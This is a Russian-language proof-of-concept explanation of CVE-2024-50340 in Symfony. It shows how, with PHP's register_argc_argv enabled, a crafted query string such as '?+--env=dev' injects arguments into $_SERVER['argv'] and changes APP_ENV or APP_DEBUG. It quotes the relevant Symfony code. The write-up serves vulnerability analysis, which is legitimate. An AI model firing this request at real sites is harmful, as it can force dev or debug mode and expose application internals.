
Эксплойт-концепция для CVE-2024-50340, демонстрирующая внедрение переменных окружения в Symfony ArgvInput через специально сформированные параметры URL-запроса, что позволяет манипулировать APP_ENV и APP_DEBUG.
Опция register_argc_argv должна быть включена в конфигурационном файле PHP (php.ini). Эта настройка загружает аргументы командной строки и параметры запроса в $_SERVER['argv']. https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv
Этот код Symfony использует входные аргументы (ArgvInput) для определения значений определённых переменных окружения, в частности APP_ENV и APP_DEBUG. Вот соответствующие части кода Symfony:
//Symfony\Component\Runtime\SymfonyRuntime
$input = new ArgvInput();
if (isset($this->options['env'])) {
return $this->input = $input;
}
if (null !== $env = $input->getParameterOption(['--env', '-e'], null, true)) {
putenv($this->options['env_var_name'].'='.$_SERVER[$this->options['env_var_name']] = $_ENV[$this->options['env_var_name']] = $env);
}
if ($input->hasParameterOption('--no-debug', true)) {
putenv($this->options['debug_var_name'].'='.$_SERVER[$this->options['debug_var_name']] = $_ENV[$this->options['debug_var_name']] = '0');
}
Приведённый выше код обрабатывает аргументы, переданные через ArgvInput. Если параметр --env указан в argv, он соответствующим образом обновляет переменную окружения APP_ENV. Аналогично, если присутствует --no-debug, он устанавливает APP_DEBUG в 0.
Класс ArgvInput инициализирует параметры argv, переданные через командную строку, параметры запроса или по умолчанию — из $_SERVER['argv']. Функция array_shift($argv) удаляет первый элемент из массива $argv (обычно это имя приложения) и сохраняет оставшиеся аргументы в $this->tokens.
//Symfony\Component\Console\Input\ArgvInput
public function __construct(?array $argv = null, ?InputDefinition $definition = null)
{
$argv ??= $_SERVER['argv'] ?? [];
// strip the application name
array_shift($argv);
$this->tokens = $argv;
parent::__construct($definition);
}
Используя следующий URL: http://localhost/?+--env=dev, мы можем внедрить аргумент --env=dev в $_SERVER['argv']. Это позволяет нам изменить значение APP_ENV на dev без прямого изменения конфигурации приложения.
$_SERVER['argv'] = ["+--env=dev"];
$argv = ["--env=dev"];